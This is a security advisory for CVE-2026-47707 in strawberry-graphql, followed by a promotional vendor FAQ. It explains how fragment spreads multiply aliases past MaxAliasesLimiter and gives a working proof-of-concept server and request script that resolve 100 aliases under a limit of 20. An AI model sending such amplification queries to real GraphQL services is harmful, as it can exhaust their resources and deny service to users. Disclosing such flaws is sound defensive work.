CVE-2026-47707

The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details

The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach

for selection in selection_set_owner.selection_set.selections: 
    if isinstance(selection, FieldNode) and selection.alias:
        result += 1

    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
        result += count_fields_with_alias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads * aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Limit is set to 20 aliases
schema = strawberry.Schema(
    query=Query, 
    extensions=[MaxAliasesLimiter(max_alias_count=20)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

payloads

import httpx

payload = {
    "query": """
        fragment Amplification on User {
            a1: name, a2: name, a3: name, a4: name, a5: name,
            a6: name, a7: name, a8: name, a9: name, a10: name
        }
        query Bypass {
            u1: user { ...Amplification }
            u2: user { ...Amplification }
            u3: user { ...Amplification }
            u4: user { ...Amplification }
            u5: user { ...Amplification }
            u6: user { ...Amplification }
            u7: user { ...Amplification }
            u8: user { ...Amplification }
            u9: user { ...Amplification }
            u10: user { ...Amplification }
        }
    """
}

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())

An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-47707 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.315.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47707? CVE-2026-47707 is a medium-severity uncontrolled resource consumption vulnerability in strawberry-graphql (pip), affecting versions >= 0.172.0, <= 0.315.6. It is fixed in 0.315.7. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-47707? CVE-2026-47707 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of strawberry-graphql are affected by CVE-2026-47707? strawberry-graphql (pip) versions >= 0.172.0, <= 0.315.6 is affected.
4. Is there a fix for CVE-2026-47707? Yes. CVE-2026-47707 is fixed in 0.315.7. Upgrade to this version or later.
5. Is CVE-2026-47707 exploitable, and should I be worried? Whether CVE-2026-47707 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47707 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47707? Upgrade strawberry-graphql to 0.315.7 or later.